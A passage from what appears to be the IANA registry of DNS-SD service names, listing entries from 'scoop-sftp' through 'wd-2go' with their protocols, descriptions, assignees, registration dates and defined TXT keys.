                                      log files from vehicles to
scoop-sftp                     tcp    road side units in a         [SCOOP_at_F_Project]                                  [Houda_Labiod]                                            2016-02-04                                                                                     Defined TXT keys: None
                                      securely way in a
                                      cooperative intelligent
                                      transportation system.
                                      The service name is used by
                                      the SFTP protocol to upload
                                      log files from vehicles to
scoop-sftp                     udp    road side units in a         [SCOOP_at_F_Project]                                  [Houda_Labiod]                                            2016-02-04                                                                                     Defined TXT keys: None
                                      securely way in a
                                      cooperative intelligent
                                      transportation system.
scpi-raw                              IEEE 488.2 (SCPI) Socket     [Nick_Barendt_3]                                      [Nick_Barendt_3]                                                                                                                                         Defined TXT keys: None
scpi-telnet                           IEEE 488.2 (SCPI) Telnet     [Nick_Barendt_3]                                      [Nick_Barendt_3]                                                                                                                                         Defined TXT keys: None
sdsharing                             Speed Download               [Yazsoft]                                             [Yazsoft]                                                                                                                                                Defined TXT keys: None
see                                   SubEthaEdit 2                [TheCodingMonkeys]                                    [TheCodingMonkeys]                                                                                                                                       Defined TXT keys: txtvers=1, name=<Full Name>, userid=<User
                                                                                                                                                                                                                                                                                  ID>, version=2
seeCard                               seeCard                      [Stefan_Pantke]                                       [Stefan_Pantke]                                                                                                                                          Defined TXT keys: None
senteo-http                           Senteo Assessment Software   [Michael_Boyle]                                       [Michael_Boyle]                                                                                                                                          Defined TXT keys: None
                                      Protocol
sentillion-vlc                        Sentillion Vault System      [George_Hartz]                                        [George_Hartz]                                                                                                                                           Defined TXT keys: None
sentillion-vlt                        Sentillion Vault Systems     [George_Hartz]                                        [George_Hartz]                                                                                                                                           Defined TXT keys: None
                                      Cluster
sepvsync                              SEPV Application Data        [Kazuya_Ogata]                                        [Kazuya_Ogata]                                                                                                                                           Defined TXT keys: Proprietary
                                      Synchronization Protocol
serendipd                             serendiPd Shared Patches for [Hans_Christoph_Stein]                                [Hans_Christoph_Stein]                                                                                                                                   Defined TXT keys: None
                                      Pure Data
servereye                             ServerEye AgentContainer     [Andreas_Behr]                                        [Andreas_Behr]                                                                                                                                           Defined TXT keys: None
                                      Communication Protocol
servermgr                             Mac OS X Server Admin        [Jeff_Albouze]                                        [Jeff_Albouze]                                                                                                                                           Defined TXT keys: None
services                              DNS Service Discovery        [Stuart_Cheshire_5][Marc_Krochmal]                    [Stuart_Cheshire_5][Marc_Krochmal]                                                                                                                       Not a service type. Special name reserved for DNS-SD meta
                                                                                                                                                                                                                                                                                  queries.
sessionfs                             Session File Sharing         [Anthony_Williams]                                    [Anthony_Williams]                                                                                                                                       Defined TXT keys: Text keys are the file extensions of any
                                                                                                                                                                                                                                                                                  file the user plans to share, i.e. pdf, doc, mp3.
setlistmaker-rc                tcp    Remote Control for Set List  [Arlo_Leach]                                          [Arlo_Leach]                                              2017-04-21                                                                                     Defined TXT keys: None
                                      Maker app
setlistmaker-ss                tcp    Screen sharing for Set List  [Arlo_Leach]                                          [Arlo_Leach]                                              2017-04-21                                                                                     Defined TXT keys: None
                                      Maker app
sftp-ssh                              Secure File Transfer         [Bryan_Cole]                                          [Bryan_Cole]                                                                                                                                             Defined TXT keys: u=<username> p=<password> path=<path>
                                      Protocol over SSH
sge-exec                              Sun Grid Engine (Execution   [Bill_Van_Etten]                                      [Bill_Van_Etten]                                                                                                                                         Defined TXT keys: None
                                      Host)
sge-qmaster                           Sun Grid Engine (Master)     [Bill_Van_Etten]                                      [Bill_Van_Etten]                                                                                                                                         Defined TXT keys: None
                                                                                                                                                                                                                                                                                  Defined TXT keys: username The login username to use
                                      Window Shifter server                                                                                                                                                                                                                       (optional) ssh_tunnel Whether an SSH tunnel must be used
shifter                               protocol                     [Antoine_Martin]                                      [Antoine_Martin]                                                                                                                                         (required) iface The network interface the server is on
                                                                                                                                                                                                                                                                                  (required - may be empty) version Software version (required)
                                                                                                                                                                                                                                                                                  ID Server Identifier (requried)
                                                                                                                                                                                                                                                                                  Defined TXT keys: txtvers=<txtVersionNumber>
ship                           tcp    SHIP (Smart Home IP)         [EEBus_Initiative]                                    [Andreas_Westermann]                                      2014-11-10                                                                                     id=<uniqueDeviceIdentifier> path=<wssPath>
                                                                                                                                                                                                                                                                                  seesport=<portForSmartEndToEndSecurityIfSupported>
                                                                                                                                                                                                                                                                                  register=<registerFlag>
shipsgm                               Swift Office Ships           [Verek]                                               [Verek]                                                                                                                                                  Defined TXT keys: None
shipsinvit                            Swift Office Ships           [Verek]                                               [Verek]                                                                                                                                                  Defined TXT keys: None
shoppersync                           SplashShopper                [Justin_Cepelak]                                      [Justin_Cepelak]                                                                                                                                         Defined TXT keys: Proprietary
                                      Synchronization Service
                                      The protocol is used to sync
shots-sync                     udp    database among iOS devices   [Ryota_Kurata]                                        [Ryota_Kurata]                                            2016-02-10                                                                                     Defined TXT keys: None
                                      and Mac OS X computers.
shoutcast                             Nicecast                     [Rogue_Amoeba_2]                                      [Rogue_Amoeba_2]                                                                                                                                         Defined TXT keys: None
siminsufflator                 tcp    Simulated insufflator        [Niels_Castle_2]                                      [Niels_Castle_2]                                          2014-06-18                                                                                     Defined TXT keys: None
                                      synchronisation protocol
                                      Medical simulation patient
simmon                                monitor syncronisation       [Niels_Castle]                                        [Niels_Castle]                                                                                                                                           Defined TXT keys: None
                                      protocol
simusoftpong                          simusoftpong iPhone game     [Anders_Svensson]                                     [Anders_Svensson]                                                                                                                                        Defined TXT keys: Proprietary
                                      protocol
sipuri                                Session Initiation Protocol  [Jae_Woo_Lee]                                         [Jae_Woo_Lee]                                                                                                                                            Defined TXT keys: Defined in URL specification
                                      Uniform Resource Identifier
sironaxray                            Sirona Xray Protocol         [Michael_Dalpiaz]                                     [Michael_Dalpiaz]                                                                                                                                        Defined TXT keys: Manufacturer=Sirona
                                      The protocol is used to
skillscapture                  tcp    transfer database records    [Legentis_Ltd]                                        [David_Elliman]                                           2013-07-01                                                                                     Defined TXT keys: None
                                      between an iOS device to a
                                      Mac OS X computer
                                      The protocol is used to
skillscapture                  udp    transfer database records    [Legentis_Ltd]                                        [David_Elliman]                                           2013-07-01                                                                                     Defined TXT keys: None
                                      between an iOS device to a
                                      Mac OS X computer
skype                                 Skype                                                                                                                                                                                                                                       Defined TXT keys: platform, status, auth, rversion, version
sleep-proxy                    udp    Sleep Proxy Server           [Stuart_Cheshire_5][Marc_Krochmal]                    [Stuart_Cheshire_5][Marc_Krochmal]                                                                                                                       Defined TXT keys: None
sleeptracker                   tcp    Sleeptracker(R) The loT      [Fullpower_Technologies_Inc]                          [Corporate_Compliance_Officer]                            2016-08-17                                                                                     Defined TXT keys: serial=<serial> hostname=<host> osVer=<ver>
                                      Smartbed Platform                                                                                                                                                                                                                           appVer=<ver> unit=<name> environment=<env>
slimcli                               SliMP3 Server Command-Line   [Dean_Blackketter_2]                                  [Dean_Blackketter_2]                                                                                                                                     Defined TXT keys: None
                                      Interface
slimhttp                              SliMP3 Server Web Interface  [Dean_Blackketter_2]                                  [Dean_Blackketter_2]                                                                                                                                     Defined TXT keys: None
slpda                          tcp    Remote Service Discovery in                                                                                                                                            [RFC3832]
                                      the Service Location
slpda                          udp    Remote Service Discovery in                                                                                                                                            [RFC3832]
                                      the Service Location
smag                           tcp    terminal access to laundry   [Schulthess_Maschinen_AG]                             [Michael_Schwetz]                                         2018-11-30                                                                                     Defined TXT keys: mName, tName, lName, Type, Timestamp
                                      appliances
smartenergy                           Smart Energy Profile         [Robby_Simpson]                                       [Robby_Simpson]                                                                                                                                          Defined TXT keys: See http://www.zigbee.org/SmartEnergy
smartsocket                    tcp    home control                 [Robert_Diamond]                                      [Robert_Diamond]                                          2012-07-06                                                                                     Defined TXT keys: None
smb                                   Server Message Block over                                                                                                                                                                                                                   Defined TXT keys: u=<username> p=<password> path=<path>
                                      TCP/IP
smimeca                        tcp    Domain signing certificate   [IESG]                                                [John_Levine]                                             2016-07-26                [draft-bhjl-x509-srv-01]                                             Defined TXT keys: None
                                      for S/MIME keys
sms                                   Short Text Message Sending   [Christian_Flintrup]                                  [Christian_Flintrup]                                                                                                                                     Defined TXT keys: Proprietary
                                      and Delivery Status Service
                                      Syncellence file                                                                                                                                                                                                                            Defined TXT keys: device=<device type> protocol=<version
smsync                                synchronization protocol     [Dialectro_Software]                                  [Gord_Peters]                                             2011-10-20                                                                                     number> os=<operating system name> osver=<operating system
                                                                                                                                                                                                                                                                                  version>
soap                                  Simple Object Access         [Andrew_Donoho]                                       [Andrew_Donoho]                                                                                                                                          Defined TXT keys: None
                                      Protocol
socketcloud                           Socketcloud distributed      [Robert_Goodyear]                                     [Robert_Goodyear]                                                                                                                                        Defined TXT keys: system, service, process, context,
                                      application framework                                                                                                                                                                                                                       direction, status, progress, health, directive, flags
soda                           tcp    Secure On Device API         [Smith_Micro_Software_Inc]                            [David_Sperling_2]                                        2011-10-10                                                                                     Defined TXT keys: a. ssid=<Wi-Fi SSID of the device> b.
                                                                                                                                                                                                                                                                                  bssid=<Wi-Fi BSSID of the device>
souschef                              SousChef Recipe Sharing      [Ben]                                                 [Ben]                                                                                                                                                    Defined TXT keys: None
                                      Protocol
sox                                   Simple Object eXchange       [Igor_Mozolevsky]                                     [Igor_Mozolevsky]                                                                                                                                        Defined TXT keys: Proprietary
sparechange                           SpareChange data sharing     [Dave_Carrigan]                                       [Dave_Carrigan]                                                                                                                                          Defined TXT keys: None
                                      protocol
                                                                                                                                                                                                                                                                                  Defined TXT keys: txtvers=1 path=<relative or absolute URL of
                                                                                                                                                                                                                                                                                  endpoint> protovers=<number> [if not specified then default
                                      SPARQL Protocol and RDF                                                                                                                                                                                                                     is 1.0, corresponding to SPARQL version] binding=<HTTP |
sparql                                Query Language               [Alex_Tucker]                                         [Alex_Tucker]                                                                                                                                            SOAP> [if not specified then default is HTTP] vocabs=<space
                                                                                                                                                                                                                                                                                  separated list of URIs> [RDF vocabularies or OWL ontologies
                                                                                                                                                                                                                                                                                  used by the endpoint] metadata=<URL> [to fetch RDF/XML
                                                                                                                                                                                                                                                                                  description of SPARQL service]
spearcat                              sPearCat Host Discovery      [Pierre_Frisch_2]                                     [Pierre_Frisch_2]                                                                                                                                        Defined TXT keys: applicationname=<Application Name>,
                                                                                                                                                                                                                                                                                  osname=<OS Name>, sslsupport=<Uses SSL>
spidap                         tcp    Sierra Photonics Inc. data   [Sierra_Photonics_Inc]                                [Support_Staff]                                           2011-10-20                                                                                     Defined TXT keys: None
                                      protocol
spincrisis                            Spin Crisis                  [Sphera_Software]                                     [Sphera_Software]                                                                                                                                        Defined TXT keys: None
spiderelectron                 tcp    Binary message passing       [Spider_Electron]                                     [Kenny_Millar]                                            2015-02-05                                                                                     Defined TXT keys: VER, STATUS
                                      protocol
spl-itunes                            launchTunes                  [David_Nanian_2]                                      [David_Nanian_2]                                                                                                                                         Defined TXT keys: None
spr-itunes                            netTunes                     [David_Nanian_2]                                      [David_Nanian_2]                                                                                                                                         Defined TXT keys: None
splashsync                            SplashData Synchronization   [Justin_Cepelak]                                      [Justin_Cepelak]                                                                                                                                         Defined TXT keys: Proprietary
                                      Service
spres                          tcp    SongPresenter                [Tobias_Hoffmann]                                     [Tobias_Hoffmann]                                         2012-10-09                                                                                     Defined TXT keys: version, name
                                                                                                                                                                                                                                                                                  Defined TXT keys: txtvers=1 cport= the port for the content
                                                                                                                                                                                                                                                                                  HTTP server (secondary HTTP server used for content
                                                                                                                                                                                                                                                                                  publishing) mode= the mode in which the HMP device is
spx-hmp                        tcp    SpinetiX HMP                 [SpinetiX_S_A]                                        [Diego_Santa_Cruz]                                        2011-10-18                                                                                     currently operating, one of "normal", "safe" or "recovery"
                                                                                                                                                                                                                                                                                  serial= serial number of the HMP device firmware= firmware
                                                                                                                                                                                                                                                                                  version string (e.g., 2.1.0-0.1.7844) model= model string
                                                                                                                                                                                                                                                                                  (e.g., HMP100)
sqp                            tcp    Square Connect Control       [Square_Connect_Inc]                                  [Mat_Henshall]                                            2011-10-07                                                                                     Defined TXT keys: Proprietary
                                      Protocol
ss-sign                        tcp    Samsung Smart Interaction    [Samsung]                                             [Lee_HoJun]                                               2013-01-03                                                                                     Defined TXT keys: None
                                      for Group Network
ss-sign-disc                   udp    Samsung Smart Interaction    [Samsung]                                             [Lee_HoJun]                                               2013-01-03                                                                                     Defined TXT keys: None
                                      for Group Network Discovery
ssd-audio                      tcp    Studio Six Digital Wireless  [Studio_Six_Digital_LLC]                              [Andrew_Smith]                                            2018-10-26                                                                                     Defined TXT keys: None
                                      Audio
ssh                            tcp    SSH Remote Login Protocol    [Tatu_Ylonen]                                         [Tatu_Ylonen]                                                                                                                                            Defined TXT keys: u=<username> p=<password>
ssscreenshare                         Screen Sharing                                                                                                                                                                                                                              Defined TXT keys: None
startrecapp                    tcp    Remote Controlled Multimedia [Luca_Cipressi]                                       [Luca_Cipressi]                                           2015-03-27                                                                                     Defined TXT keys: None
                                      Recorder Network
stingray-rpc                   tcp    Stingray Remote Procedure    [IK_SATPROF_LLC]                                      [Sergey_Zubov_2]                                          2014-05-02                                                                                     Defined TXT keys: None
                                      Call
stingray-remote                tcp    Stingray remote control      [IK_SATPROF_LLC]                                      [Sergey_Zubov_2]                                          2014-05-02                                                                                     Defined TXT keys: None
strateges                             Strateges                    [Jean_Olivier_Lanctot]                                [Jean_Olivier_Lanctot]                                                                                                                                   Defined TXT keys: None
stanza                                Lexcycle Stanza service for  [Marc_Prud_hommeaux]                                  [Marc_Prud_hommeaux]                                                                                                                                     Defined TXT keys: None
                                      discovering shared books
stickynotes                           Sticky Notes                 [Johnnie_Walker]                                      [Johnnie_Walker]                                                                                                                                         Defined TXT keys: None
stotp                          tcp    One Time Pad Synchronisation [softthere_com]                                       [James_Crosby]                                            2011-10-17                                                                                     Defined TXT keys: None
                                      Remote control protocol for
sugarlock-rcp                  tcp    Sugarlock consumer           [Sugarlock_LLC]                                       [Don_Woodward-Sugarlock]                                  2016-01-22                                                                                     Defined TXT keys: txtvers=1
                                      electronics devices
                                      Remote control protocol for
sugarlock-rcp                  udp    Sugarlock consumer           [Sugarlock_LLC]                                       [Don_Woodward-Sugarlock]                                  2016-01-22                                                                                     Defined TXT keys: txtvers=1
                                      electronics devices
supple                                Supple Service protocol      [Dave_Christianson]                                   [Dave_Christianson]                                                                                                                                      Defined TXT keys: type url
surveillus                            Surveillus Networks          [Mark_Lewis_3]                                        [Mark_Lewis_3]                                                                                                                                           Defined TXT keys: None
                                      Discovery Protocol
svn                                   Subversion                   [CollabNet]                                           [CollabNet]                                                                                                                                              Defined TXT keys: None
swcards                               Signwave Card Sharing        [Signwave_Networking]                                 [Signwave_Networking]                                                                                                                                    Defined TXT keys: None
                                      Protocol
switcher                              Wireless home control remote [Steve_Splonskowski]                                  [Steve_Splonskowski]                                                                                                                                     Defined TXT keys: None
                                      control protocol
swordfish                             Swordfish Protocol for       [Jim_Wallace]                                         [Jim_Wallace]                                                                                                                                            Defined TXT keys: None
                                      Input/Output
                                      Framework for transferring
swyp                                  any file from any app, to    [ExoMachina]                                          [Alexander_List]                                          2011-12-06                                                                                     Defined TXT keys: NONE
                                      any app on any device:
                                      simply with a swÿp.
sxqdea                                Synchronize! Pro X           [Qdea]                                                [Qdea]                                                                                                                                                   Defined TXT keys: None
sybase-tds                            Sybase Server                                                                                                                                                                                                                               Defined TXT keys: None
                                      Remote control of Synclavier
synclavier                     tcp    Digital Audio Workstation    [Synclavier_Digital]                                  [Cameron_Jones]                                           2016-01-27                                                                                     Defined TXT keys: None
                                      over local area network.
syncopation                           Syncopation Synchronization  [Sonzea]                                              [Sonzea]                                                                                                                                                 Defined TXT keys: None
                                      Protocol by Sonzea
syncqdea                              Synchronize! X Plus 2.0      [Qdea]                                                [Qdea]                                                                                                                                                   Defined TXT keys: None
synergy                               Synergy Peer Discovery       [Karl_Timmermann]                                     [Karl_Timmermann]                                                                                                                                        Defined TXT keys: None
synksharing                           SynkSharing synchronization  [Benjamin_Rister]                                     [Benjamin_Rister]                                                                                                                                        Defined TXT keys: None
                                      protocol
taccounting                           Data Transmission and        [John_MacMullin]                                      [John_MacMullin]                                                                                                                                         Defined TXT keys: None
                                      Synchronization
tango                                 Tango Remote Control         [Tony_Amundson]                                       [Tony_Amundson]                                                                                                                                          Defined TXT keys: None
                                      Protocol
tapinoma-ecs                          Tapinoma Easycontact         [Bonjour]                                             [Bonjour]                                                                                                                                                Defined TXT keys: None
                                      receiver
                                      Task Coach Two-way
taskcoachsync                         Synchronization Protocol for [Jerome_Laheurte]                                     [Jerome_Laheurte]                                                                                                                                        Defined TXT keys: None
                                      iPhone
                                                                                                                                                                                                                                                                                  Defined TXT keys: txtvers=1, sesna, seid, setype, cosna,
tbricks                               tbricks internal protocol    [Joakim_Johansson]                                    [Joakim_Johansson]                                                                                                                                       coid, cotype, sysna, syna, syid, subsyid, venid, protocols,
                                                                                                                                                                                                                                                                                  pid
tcode                                 Time Code                    [Marshall_Anschutz]                                   [Marshall_Anschutz]                                                                                                                                      Defined TXT keys: None
tcu                                   Tracking Control Unit by     [James_Nikolai]                                       [James_Nikolai]                                                                                                                                          Defined TXT keys: None
                                      RPM-PSI
te-faxserver                          TE-SYSTEMS GmbH Fax Server   [Tobias_Erichsen]                                     [Tobias_Erichsen]                                                                                                                                        Defined TXT keys: Proprietary
                                      Daemon
teamlist                              ARTIS Team Task              [ARTIS_Software]                                      [ARTIS_Software]                                                                                                                                         Defined TXT keys: None
ted                            udp    Teddington Controls          [Teddington_Bemasan_Ltd]                              [Nathan_Child_CEng_MEng_Hons_MIET]                        2016-03-21                                                                                     Defined TXT keys: None
teleport                       udp    teleport                     [Julien_Robert]                                       [Julien_Robert]                                                                                                                                          Defined TXT keys: None
tenir-rc                       tcp    Proprietary                  [Tenir_Software]                                      [Steve_Gums]                                              2011-10-27                                                                                     Defined TXT keys: Proprietary
tera-fsmgr                            Terascala Filesystem Manager [Mike_Nuss]                                           [Mike_Nuss]                                                                                                                                              Defined TXT keys: Proprietary
                                      Protocol
tera-mp                               Terascala Maintenance        [Mike_Nuss]                                           [Mike_Nuss]                                                                                                                                              Defined TXT keys: Proprietary
                                      Protocol
test-ok                        tcp    Test Controller Card         [TEST-OK_BV]                                          [Jeroen_Ommering]                                         2012-09-05                                                                                     Defined TXT keys: TEST-OK Test Controller Card TCCxxxx
tf-redeye                             ThinkFlood RedEye IR bridge  [Matt_Eagar]                                          [Matt_Eagar]                                                                                                                                             Defined TXT keys: None
thumbwrestling                        tinkerbuilt Thumb Wrestling  [Jamie_Halmick]                                       [Jamie_Halmick]                                                                                                                                          Defined TXT keys: None
                                      game
ticonnectmgr                          TI Connect Manager Discovery [Stephen_Reid]                                        [Stephen_Reid]                                                                                                                                           Defined TXT keys: None
                                      Service
timezone                       tcp    Time Zone Data Distribution  [IESG]                                                [IETF_Chair]                                              2015-08-03                [RFC7808]                                                            This is an extension of the http service. Defined TXT keys:
                                      Service - non-TLS                                                                                                                                                                                                                           path=<context path> (as per Section 6 of [RFC6763]).
timezones                      tcp    Time Zone Data Distribution  [IESG]                                                [IETF_Chair]                                              2015-08-03                [RFC7808]                                                            This is an extension of the https service. Defined TXT keys:
                                      Service - over TLS                                                                                                                                                                                                                          path=<context path> (as per Section 6 of [RFC6763]).
tinavigator                           TI Navigator Hub 1.0         [Stephen_Reid]                                        [Stephen_Reid]                                                                                                                                           Defined TXT keys: None
                                      Discovery Service
tivo-device                    tcp    TiVo Device Protocol         [TiVo_Inc]                                            [Developer_Support_2]                                     2011-10-18                                                                                     Defined TXT keys: None
tivo-hme                              TiVo Home Media Engine       [Developer_Support]                                   [Developer_Support]                                                                                                                                      Defined TXT keys: None
                                      Protocol
tivo-mindrpc                   tcp    TiVo RPC Protocol            [TiVo_Inc]                                            [Developer_Support_2]                                     2011-10-18                                                                                     Defined TXT keys: None
tivo-music                            TiVo Music Protocol          [Developer_Support]                                   [Developer_Support]                                                                                                                                      Defined TXT keys: None
tivo-photos                           TiVo Photos Protocol         [Developer_Support]                                   [Developer_Support]                                                                                                                                      Defined TXT keys: None
tivo-remote                           TiVo Remote Protocol         [Developer_Support]                                   [Developer_Support]                                                                                                                                      Defined TXT keys: protocol, path, swversion, platform, TSN
tivo-videos                           TiVo Videos Protocol         [Developer_Support]                                   [Developer_Support]                                                                                                                                      Defined TXT keys: protocol, path, swversion, platform, TSN
todogwa                               2Do Sync Helper Tool for Mac [Fahad_Gilani]                                        [Fahad_Gilani]                                                                                                                                           Defined TXT keys: None
                                      OS X and PCs
tomboy                                Tomboy                       [Alex_Graveley]                                       [Alex_Graveley]                                                                                                                                          Defined TXT keys: None
toothpicserver                        ToothPics Dental Office      [Milton_Pulis]                                        [Milton_Pulis]                                                                                                                                           Defined TXT keys: None
                                      Support Server
touch-able                            iPhone and iPod touch Remote [Amandeep_Jawa_3]                                     [Amandeep_Jawa_3]                                                                                                                                        Defined TXT keys: txtvers, CtlN, DbId, Ver, DvTy, OSsi, DvSv
                                      Controllable
touch-remote                          iPhone and iPod touch Remote [Amandeep_Jawa_3]                                     [Amandeep_Jawa_3]                                                                                                                                        Defined TXT keys: txtvers, DvNm, Pair, RemV, RemN, DvTy
                                      Pairing
                                      Coordination service for
tptx-console                   tcp    client users of the          [Randy_Davenport]                                     [Chris_Watson]                                            2014-03-04                                                                                     Defined TXT keys: None
                                      TotalPraisTrax iPad
                                      application
                                      Service discovery and media
transmitr                      tcp    transfer for peer to peer    [Windward_Code_LLC]                                   [Alex_Belliotti]                                          2013-11-27                                                                                     Defined TXT keys: None
                                      mobile media transfer app
tri-vis-client                        triCerat Simplify Visibility [Christopher_Karper]                                  [Christopher_Karper]                                                                                                                                     Defined TXT keys: None
                                      Client
tri-vis-server                        triCerat Simplify Visibility [Christopher_Karper]                                  [Christopher_Karper]                                                                                                                                     Defined TXT keys: None
                                      Server
tryst                                 Tryst                        [Francisco_Ryan_Tolma]                                [Francisco_Ryan_Tolma]                                                                                                                                   Defined TXT keys: None
                                      The Social Broadband                                                                                                                                                                                                                        Defined TXT keys: there is no TXT keys defined for this
tsbiis                         tcp    Interference Information     [Sergio_Luis]                                         [Sergio_Luis]                                             2012-02-27                                                                                     protocol
                                      Sharing
tt4inarow                             Trivial Technology's 4 in a  [Nicolas_Payette]                                     [Nicolas_Payette]                                                                                                                                        Defined TXT keys: None
                                      Row
ttcheckers                            Trivial Technology's         [Nicolas_Payette]                                     [Nicolas_Payette]                                                                                                                                        Defined TXT keys: None
                                      Checkers
ttp4daemon                            TechTool Pro 4 Anti-Piracy   [Micromat]                                            [Micromat]                                                                                                                                               Defined TXT keys: None
                                      Service
tunage                                Tunage Media Control Service [Matt_Patenaude]                                      [Matt_Patenaude]                                                                                                                                         Defined TXT keys: None
tuneranger                            TuneRanger                   [Acertant]                                            [Acertant]                                                                                                                                               Defined TXT keys: None
twinlevel                      tcp    detect sanitary product      [Oblamatik_AG]                                        [Simon_Ensslen]                                           2012-09-05                                                                                     Defined TXT keys: None
                                      Service to enable
twosnakes                      tcp    multiplayer game called two  [Narendra_Kumar_Reddy_Thummaluru]                     [Narendra_Kumar_Reddy_Thummaluru]                         2016-06-01                                                                                     Defined TXT keys: None
                                      snakes.
                                      Service to enable
twosnakes                     sctp    multiplayer game called two  [Narendra_Kumar_Reddy_Thummaluru]                     [Narendra_Kumar_Reddy_Thummaluru]                         2016-06-01                                                                                     Defined TXT keys: None
                                      snakes.
tyba                           tcp    Tyba control                 [Tyba_Design_Limited]                                 [Oz_Andrews]                                              2018-08-24                                                                                     Defined TXT keys: PRID, HWSN, VERS
                                      TZ-Software remote procedure
tzrpc                          tcp    call based synchronization   [Thomas_Zwick]                                        [Thomas_Zwick]                                            2011-10-12                                                                                     Defined TXT keys: Proprietary
                                      protocol
ubertragen                            Ubertragen                   [Widgetschmie_de]                                     [Widgetschmie_de]                                                                                                                                        Defined TXT keys: None
ucdynamics-tuc                 udp    Tactical Unified             [UC_Dynamics_LLC]                                     [Shaun_Botha]                                             2018-01-31                                                                                     Defined TXT keys: None
                                      Communicator
uddi                                  Universal Description,       [Paul_Denning]                                        [Paul_Denning]                                                                                                                                           Defined TXT keys: TBD
                                      Discovery and Integration
                                      Universal Description,
uddi-inq                              Discovery and Integration    [Paul_Denning]                                        [Paul_Denning]                                                                                                                                           Defined TXT keys: TBD
                                      Inquiry
                                      Universal Description,
uddi-pub                              Discovery and Integration    [Paul_Denning]                                        [Paul_Denning]                                                                                                                                           Defined TXT keys: TBD
                                      Publishing
                                      Universal Description,
uddi-sub                              Discovery and Integration    [Paul_Denning]                                        [Paul_Denning]                                                                                                                                           Defined TXT keys: TBD
                                      Subscription
                                      Universal Description,
uddi-sec                              Discovery and Integration    [Paul_Denning]                                        [Paul_Denning]                                                                                                                                           Defined TXT keys: TBD
                                      Security
upnp                                  Universal Plug and Play      [Andrew_Donoho]                                       [Andrew_Donoho]                                                                                                                                          Defined TXT keys: None
urlbookmark                           URL Advertising              [Sven_S_Porst]                                        [Sven_S_Porst]                                                                                                                                           Defined TXT keys: URL=<URL that is advertised>, name=<Name of
                                                                                                                                                                                                                                                                                  the bookmark>
usp-agt-coap                   udp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-01-12                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
usp-agt-http                   tcp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-01-12                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
usp-agt-stomp                  tcp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-01-12                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
usp-agt-ws                     tcp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-09-28                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-coap                   udp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-01-12                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-http                   tcp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-01-12                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-stomp                  tcp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-01-12                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-ws                     tcp    USP discovery                [Broadband_Forum]                                     [Broadband_Forum]                                         2017-09-28                [http://www.broadband-forum.org/assignments]                         Defined TXT keys: see www.broadband-forum.org/assignments
uswi                                  Universal Switching          [Roger_Lemberg]                                       [Roger_Lemberg]                                                                                                                                          Defined TXT keys: None
                                      Corporation products
utest                                 uTest                        [Gregory_Power]                                       [Gregory_Power]                                                                                                                                          Defined TXT keys: None
uwsgi                                 Unbit Web Server Gateway     [Roberto_De_Ioris]                                    [Roberto_De_Ioris]                                                                                                                                       Defined TXT keys: None
                                      Interface
ve-decoder                            American Dynamics VideoEdge  [Gary_Sands]                                          [Gary_Sands]                                                                                                                                             Defined TXT keys: txtvers, macaddress, protovers, model,
                                      Decoder Control Service                                                                                                                                                                                                                     serial, path, idp
ve-encoder                            American Dynamics VideoEdge  [Gary_Sands]                                          [Gary_Sands]                                                                                                                                             Defined TXT keys: txtvers, macaddress, protovers, model,
                                      Encoder Control Service                                                                                                                                                                                                                     serial, path, idp
ve-recorder                           American Dynamics VideoEdge  [Gary_Sands]                                          [Gary_Sands]                                                                                                                                             Defined TXT keys: txtvers, macaddress, protovers, model,
                                      Recorder Control Service                                                                                                                                                                                                                    serial, path, idp
vedabase                       tcp    Application specific         [Peter_Kollath_2]                                     [Peter_Kollath_2]                                         2014-05-27                                                                                     Defined TXT keys: txtvers=1
                                      synchronization protocol
vhusb                          tcp    USB over IP Sharing System   [VirtualHere_Pty_Ltd]                                 [Michael_Broadfoot]                                       2015-04-02                                                                                     Defined TXT keys: <serial number of server>
virtualdj                             VirtualDJ Remote Control     [Atomix_Productions]                                  [Stephane_Clavel]                                         2011-10-12                                                                                     Defined TXT keys: None
                                      protocol
                                                                                                                                                                                                                                                                                  Defined TXT keys: Version=<service version> Type=<service
visel                                 visel Q-System services      [Lehpaner_Sasa]                                       [Lehpaner_Sasa]                                                                                                                                          type> Name=<service Name> Zone=<service zone> ID=<serviceID>
                                                                                                                                                                                                                                                                                  SString=<serviceString> SString1=<serviceString>
                                      Virtual Object System (using                                                                                                                                                                                                                Defined TXT keys: url=<Object URL with full path>
vos                                   VOP/TCP)                     [Reed_Hedges][Peter_Amstutz]                          [Reed_Hedges][Peter_Amstutz]                                                                                                                             type=<Comma-seperated list of object types> title=<Short
                                                                                                                                                                                                                                                                                  title of service> descr=<Short description of service>
voxidahmp                      tcp    RTP Mixer/Summation Resource [Accurate_Always_Inc]                                 [Yousef_Shemisa]                                          2018-12-03                                                                                     Defined TXT keys: None
vrmg-p2p                       tcp    Verimag mobile class         [Verimag_OOO]                                         [Denis_Ionov]                                             2018-07-20                                                                                     Defined TXT keys: d=<discovery key>, t=<mobile class ID>
                                      protocol over P2P
vue4rendercow                         VueProRenderCow                                                                                                                                                                                                                             Defined TXT keys: None
vxi-11                                VXI-11 TCP/IP Instrument     [Nick_Barendt_2]                                      [Nick_Barendt_2]                                                                                                                                         Defined TXT keys: None
                                      Protocol
wakeywakey                     tcp    Proprietary                  [gerry_Brown_associates]                              [Gerry_Brown]                                             2012-11-29                                                                                     Defined TXT keys: None
walkietalkie                          Walkie Talkie                [Johan_Kool]                                          [Johan_Kool]                                                                                                                                             Defined TXT keys: None
wd-2go                         tcp    NAS Service Protocol         [Western_Digital]                                     [Rajesh_Batra]                                            2012-07-11                                                                                     Defined TXT keys: None
